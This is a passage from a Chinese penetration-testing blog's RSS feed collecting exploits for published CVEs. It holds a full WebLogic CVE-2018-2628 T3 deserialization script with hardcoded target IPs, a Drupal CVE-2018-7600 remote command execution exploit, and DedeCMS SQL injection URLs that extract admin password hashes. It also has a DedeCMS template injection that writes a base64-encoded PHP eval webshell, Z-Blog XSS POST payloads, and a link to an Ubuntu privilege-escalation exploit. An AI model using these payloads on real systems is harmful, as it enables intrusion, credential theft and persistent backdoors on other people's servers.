<p>当地时间4月17日，北京时间4月18日凌晨，Oracle官方发布了4月份的关键补丁更新CPU（Critical Patch Update）,其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628)，这个漏洞是我在去年11月份报给Oracle的，通过该漏洞，攻击者可以在未授权的情况下远程执行任意代码。</p>
<p>参考链接：</p>
<p><a href="http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html">http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html</a></p>
<p>漏洞影响范围</p>
<pre><code>Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3</code></pre>
<p>0x02 复现</p>
<p>目前流传比较广的是<a href="https://github.com/jas502n/CVE-2018-2628/blob/master/weblogic_poc.client1.for.scan-cve-2018-2628.py">weblogic_poc.client1.for.scan-cve-2018-2628.py</a>这个验证脚本，我们来开一个<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>玩玩~<br /><img src="/wp-content/uploads/2018/04/3406048147.png" alt="QQ截图20180418161358.png" title="QQ截图20180418161358.png"><br />OK打开正常，这里的版本是12c<br /><img src="/wp-content/uploads/2018/04/1253064468.png" alt="QQ截图20180418162050.png" title="QQ截图20180418162050.png"></p>
<pre><code>#!env python
#coding=utf-8
#
# Author:       liaoxinxi@nsfocus.com
#
# Created Time: Wed 19 Jul 2017 01:47:53 AM CST
#
# FileName:     weblogic_poc.py
#
# Description:
#
# ChangeLog:
# -*- coding: utf-8 -*-
import socket
import time
import re
VUL=['CVE-2018-2628']
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']
def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print 'handshake successful'
def buildT3RequestObject(sock,port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception as e:
        pass
    return res
def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)&gt;0:
        print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
    else:
        print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])
def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(sock,dport)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    print 'rs',rs
    checkVul(rs,server_addr,index)
if __name__==&quot;__main__&quot;:
    dip = '218.1.102.99'
    dip = '10.65.46.125'
    dip = '192.168.3.216'
    dport = 7001
    run(dip,dport,0)
#    for i in range(0,len(VUL)):
#        run(dip,dport,i)
</code></pre>
<p><img src="/wp-content/uploads/2018/04/1739731174.png" alt="QQ截图20180418165521.png" title="QQ截图20180418165521.png"><br />这里只是验证存在漏洞，我会持续关注，待能执行命令的exp放出来之后我会接着更新。</p>
]]></content:encoded>
					
					<wfw:commentRss>/web/401.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>CVE-2018-7600 Drupal 远程命令执行漏洞EXP</title>
		<link>/web/399.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 14 Apr 2018 15:19:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[Drupal]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[收集]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[远程命令执行]]></category>
		<guid isPermaLink="false">/?p=328</guid>

					<description><![CDATA[CVE-2018-7600 Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8...]]></description>
										<content:encoded><![CDATA[<p>CVE-2018-7600</p>
<blockquote><p><span class="wpcom_tag_link"><a href="/tags/drupal" title="Drupal" target="_blank">Drupal</a></span> before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code .</p></blockquote>
<h3>影响版本</h3>
<ol>
<li>Drupal 6</li>
<li>Drupal 7</li>
<li>Drupal 8</li>
</ol>
<h3>修复建议</h3>
<p>Drupal 6.x的修复参考以下网站：</p>
<p><a href="https://www.drupal.org/project/d6lts">https://www.drupal.org/project/d6lts</a></p>
<p>Drupal 7.x请升级到Drupal 7.5.8版本，</p>
<p>同时官方给出7.X补丁，若用户无法立即升级版本，请更新补丁，补丁地址为：</p>
<p><a href="https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&#038;id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5">https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&#038;id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5</a></p>
<p>Drupal 8.5.x请升级到Drupal 8.5.1版本</p>
<p>同时官方给出8.5.X补丁，若用户无法立即升级版本，请更新补丁，补丁地址为：</p>
<p><a href="https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f">https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f</a></p>
<p>Drupal 8.3.x和8.4.x版本官方已不进行维护，但此<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>非常严重，官方此次也给出了对应补丁，补丁同8.5.x版本：补丁地址为：</p>
<p><a href="https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f">https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f</a></p>
<p>由于Drupal 8.3.x和8.4.x版本官方已不进行维护，建议用户最好升级到官方维护的Drupal 8.3.9以及Drupal 8.4.6版本</p>
<h3>友情提示</h3>
<p>Drupal 8.0.x、Drupal 8.1.x、Drupal 8.2.x官方已不再维护，请各位用户升级到官方维护的版本</p>
<h3>EXP</h3>
<pre><code>#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
url = target + 'user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo &quot;;-)&quot; | tee hello.txt'}
r = requests.post(url, data=payload)
if r.status_code != 200:
  sys.exit(&quot;Not exploitable&quot;)
print ('\nCheck: '+target+'hello.txt')</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>dedecms漏洞汇总</title>
		<link>/web/396.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 13 Apr 2018 02:38:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[dedecms]]></category>
		<category><![CDATA[汇总]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[织梦]]></category>
		<guid isPermaLink="false">/?p=325</guid>

					<description><![CDATA[@泡泡龙等了很久的文章了，如果本文有错欢迎评论指点，欢迎补充。 Dedecms V5.7 后台文件重命名 /web/81/ Dedecm...]]></description>
										<content:encoded><![CDATA[<blockquote><p>@泡泡龙等了很久的文章了，如果本文有错欢迎评论指点，欢迎补充。</p></blockquote>
<h1>Dedecms V5.7 后台文件重命名</h1>
<p>/web/81/</p>
<h1>Dedecms V5.7 后台任意代码执行</h1>
<p>/web/79/</p>
<h1>解决历史难题 &#8211; DEDECMS <span class="wpcom_tag_link"><a href="/tags/%e7%bb%87%e6%a2%a6" title="织梦" target="_blank">织梦</a></span>找后台目录</h1>
<p>/web/51/</p>
<h1><span class="wpcom_tag_link"><a href="/tags/dedecms" title="dedecms" target="_blank">dedecms</a></span>爆绝对路径</h1>
<pre><code>/member/templets/menulit.php
/plus/paycenter/alipay/return_url.php
/plus/paycenter/cbpayment/autoreceive.php
/paycenter/nps/config_pay_nps.php
/plus/task/dede-maketimehtml.php
/plus/task/dede-optimize-table.php
/plus/task/dede-upcache.php</code></pre>
<blockquote><p>以下<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>来自互联网收集</p></blockquote>
<h1>DedeCMS全版本通杀SQL注入漏洞利用</h1>
<p>2016年7月11日<br />
<a href="http://www.weixianmanbu.com/article/157.html">http://www.weixianmanbu.com/article/157.html</a></p>
<h1>Dedecms 5.6 rss注入漏洞</h1>
<pre><code>http://www.test.com/plus/rss.php?tid=1&amp;_Cs[][1]=1&amp;_Cs[2)) AND "'" AND updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1)#'][0]=1  </code></pre>
<h1>DedeCms v5.6 嵌入恶意代码执行漏洞</h1>
<p>注册会员，上传软件：本地地址中填入</p>
<pre><code>a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}  </code></pre>
<p>发表后查看或修改即可执行</p>
<pre><code>a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}   </code></pre>
<p>生成x.php 密码xiao，直接生成一句话。</p>
<h1>Dede 5.6 GBK SQL注入漏洞</h1>
<pre><code>http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe''")/&gt;
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7''"&gt;  </code></pre>
<p>可看见错误信息</p>
<ol>
<li>访问 <code>http://www.abc.com/data/mysql_error_trace.php</code> 看到以下信息证明注入成功了。</li>
</ol>
<pre><code>int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?&gt; </code></pre>
<ol>
<li>执行dede.rar里的文件 test.html，注意 form 中 action 的地址是</li>
</ol>
<p>按确定后的看到第2步骤的信息表示文件木马上传成功.</p>
<h1>织梦(DedeCms)plus/infosearch.php 文件注入漏洞</h1>
<pre><code>http://localhost/plus/infosearch.php?action=search&amp;q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*  </code></pre>
<p>DEDECMS跨站及爆绝对路径漏洞<br />
提交：</p>
<pre><code>http://127.0.0.1/dc/include/jump.php?gurl= 会跳转到/</code></pre>
<p>新手朋友会认为这就是这个跨站的利用了，其实不然，我们可以尝试去闭合他！但PHP有gpc限制，我们该怎么绕？<br />
提交：</p>
<pre><code>http://127.0.0.1/dc/include/jump.php?gurl=%23"alert(/00day.cn/)/*  </code></pre>
<h1>Multiple Cross-Site Scripting Vulnerabilities in DedeCms v5.x</h1>
<pre><code># .: Multiple Cross-Site Scripting Vulnerabilities in DedeCms v5.x
# .: [Author] Depo2 - TpTLabs.com
# .: [Affected versions] http://www.dedecms.com/ - DedeCms v5.x
# .: [Credit] The disclosure of these issues has been credited to Depo2
# .: [Classification]
# Attack Type: Input Manipulation
# Impact: Loss of Integrity
# Fix: N/A Public release vulnz: {26-08-2008 Sun}
# Class Input Validation Error
# Original Advisory http://depo2.nm.ru/DedeCmsv5.x_XSS.txt
# Other Advisory http://www.xssing.com/index.php?x=3&amp;y=53
- XSS -
[DedeCms WebSite]/dede/catalog_tree.php?f=form1&amp;opall=1&amp;v=typeid&amp;bt=[XSS]
[DedeCms WebSite]/dede/catalog_tree.php?f=form1&amp;opall=1&amp;v=[XSS]
[DedeCms WebSite]/dede/catalog_tree.php?f=[XSS]
[DedeCms WebSite]/dede/content_list.php?arcrank=[XSS]
[DedeCms WebSite]/dede/content_list.php?dopost=listArchives&amp;nowpage=1&amp;totalresult=0&amp;arcrank=[XSS]&amp;cid=[XSS/SQL]&amp;keyword=[XSS]+&amp;orderby=[XSS/SQL]&amp;imageField=%CB%D1%CB%F7
[DedeCms WebSite]/dede/content_list.php?channelid=[XSS]&amp;cid=0&amp;adminid=[XSS]
[DedeCms WebSite]/include/dialog/select_images.php?f=form1.picname&amp;imgstick=[XSS]
[DedeCms WebSite]/include/dialog/select_images.php?f=[XSS]
[DedeCms WebSite]/dede/login.php?gotopage=[XSS]
[DedeCms WebSite]/dede/article_keywords_select.php?f=[XSS]
[DedeCms WebSite]/dede/file_pic_view.php?activepath=[XSS]
[DedeCms WebSite]/member/login.php?gourl=[XSS]
[DedeCms WebSite]/dede/pic_view.php?activepath=[XSS]  </code></pre>
<h1>Php Path Discusion</h1>
<pre><code>[DedeCms WebSite]/include/dialog/  </code></pre>
<h1>XSRF</h1>
<pre><code>[DedeCms WebSite]/dede/sys_info.php? have XSRF
edit___cfg_beian,edit___cfg_keywords etc.. parameter not checking evil code
if attacker wright a "end of textarea"  tag thats give XSS alert :)
[XSS Code] :'"&gt;alert(document.cookie)  </code></pre>
<h1>织梦(dedecms)2007 group/search.php注入漏洞</h1>
<pre><code>http://127.0.0.1/dg/group/search.php?sad=g&amp;keyword=%cf'  </code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Z-Blog 1.5.1.1740 XSS漏洞</title>
		<link>/web/395.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 08 Apr 2018 14:01:17 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[zblog]]></category>
		<category><![CDATA[最新版]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=324</guid>

					<description><![CDATA[CVE : CVE-2018-7736 poc: ZC_BLOG_SUBNAME参数的POC: http://localhost/z-blog/zb_system/cmd.php?...]]></description>
										<content:encoded><![CDATA[<p>CVE : CVE-2018-7736</p>
<h1>poc:</h1>
<h2><code>ZC_BLOG_SUBNAME</code>参数的POC:</h2>
<pre><code>http://localhost/z-blog/zb_system/cmd.php?act=SettingSav&amp;token=2c7ca9a4c1c3d856e012595ca878564f</code></pre>
<p>post_data:</p>
<pre><code>ZC_BLOG_HOST=http%3A%2F%2Flocalhost%2Fz-blog%2F&amp;ZC_PERMANENT_DOMAIN_ENABLE=&amp;ZC_PERMANENT_DOMAIN_WITH_ADMIN=&amp;ZC_BLOG_NAME=admin&amp;ZC_BLOG_SUBNAME=Good%20Luck%20To%20You!tluf3%22%3e%3cscript%3ealert(1)%3c%2fscript%3euk095&amp;ZC_BLOG_COPYRIGHT=Copyright+Your+WebSite.Some+Rights+Reserved.&amp;ZC_TIME_ZONE_NAME=Asia%2FShanghai&amp;ZC_BLOG_LANGUAGEPACK=zh-cn&amp;ZC_UPLOAD_FILETYPE=jpg%7Cgif%7Cpng%7Cjpeg%7Cbmp%7Cpsd%7Cwmf%7Cico%7Crpm%7Cdeb%7Ctar%7Cgz%7Csit%7C7z%7Cbz2%7Czip%7Crar%7Cxml%7Cxsl%7Csvg%7Csvgz%7Crtf%7Cdoc%7Cdocx%7Cppt%7Cpptx%7Cxls%7Cxlsx%7Cwps%7Cchm%7Ctxt%7Cpdf%7Cmp3%7Cmp4%7Cavi%7Cmpg%7Crm%7Cra%7Crmvb%7Cmov%7Cwmv%7Cwma%7Cswf%7Cfla%7Ctorrent%7Capk%7Czba%7Cgzba&amp;ZC_UPLOAD_FILESIZE=2&amp;ZC_DEBUG_MODE=&amp;ZC_GZIP_ENABLE=&amp;ZC_SYNTAXHIGHLIGHTER_ENABLE=1&amp;ZC_CLOSE_SITE=&amp;ZC_DISPLAY_COUNT=10&amp;ZC_DISPLAY_SUBCATEGORYS=1&amp;ZC_PAGEBAR_COUNT=10&amp;ZC_SEARCH_COUNT=20&amp;ZC_MANAGE_COUNT=50&amp;ZC_COMMENT_TURNOFF=&amp;ZC_COMMENT_AUDIT=&amp;ZC_COMMENT_REVERSE_ORDER=&amp;ZC_COMMENTS_DISPLAY_COUNT=100&amp;ZC_COMMENT_VERIFY_ENABLE=</code></pre>
<h2><code>ZC_UPLOAD_FILETYPE</code> 参数的POC:</h2>
<p>post_data:</p>
<pre><code>ZC_BLOG_HOST=http://localhost/z-blog/&amp;ZC_PERMANENT_DOMAIN_ENABLE=&amp;ZC_PERMANENT_DOMAIN_WITH_ADMIN=&amp;ZC_BLOG_NAME=admin&amp;ZC_BLOG_SUBNAME=Good+Luck+To+You!&amp;ZC_BLOG_COPYRIGHT=Copyright+Your+WebSite.Some+Rights+Reserved.&amp;ZC_TIME_ZONE_NAME=Asia/Shanghai&amp;ZC_BLOG_LANGUAGEPACK=zh-cn&amp;ZC_UPLOAD_FILETYPE=jpg|gif|png|jpeg|bmp|psd|wmf|ico|rpm|deb|tar|gz|sit|7z|bz2|zip|rar|xml|xsl|svg|svgz|rtf|doc|docx|ppt|pptx|xls|xlsx|wps|chm|txt|pdf|mp3|mp4|avi|mpg|rm|ra|rmvb|mov|wmv|wma|swf|fla|torrent|apk|zba|gzbauckek&quot;&gt;alert(1)ekkgh&amp;ZC_UPLOAD_FILESIZE=2&amp;ZC_DEBUG_MODE=&amp;ZC_GZIP_ENABLE=&amp;ZC_SYNTAXHIGHLIGHTER_ENABLE=1&amp;ZC_CLOSE_SITE=&amp;ZC_DISPLAY_COUNT=10&amp;ZC_DISPLAY_SUBCATEGORYS=1&amp;ZC_PAGEBAR_COUNT=10&amp;ZC_SEARCH_COUNT=20&amp;ZC_MANAGE_COUNT=50&amp;ZC_COMMENT_TURNOFF=&amp;ZC_COMMENT_AUDIT=&amp;ZC_COMMENT_REVERSE_ORDER=&amp;ZC_COMMENTS_DISPLAY_COUNT=100&amp;ZC_COMMENT_VERIFY_ENABLE=</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ubuntu提权exp</title>
		<link>/tools/378.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 16 Mar 2018 21:51:43 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[内核]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=286</guid>

					<description><![CDATA[V@1n3R大咖复现的 链接: https://pan.baidu.com/s/1EseuV0RRtS7MYIDK03uhYw 密码: hfxv]]></description>
										<content:encoded><![CDATA[<p>V@1n3R大咖复现的</p>
<p><img src="/wp-content/uploads/2018/03/578379254.jpg" alt="1.jpg" title="1.jpg"><br />链接: <a href="https://pan.baidu.com/s/1EseuV0RRtS7MYIDK03uhYw">https://pan.baidu.com/s/1EseuV0RRtS7MYIDK03uhYw</a> 密码: hfxv</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
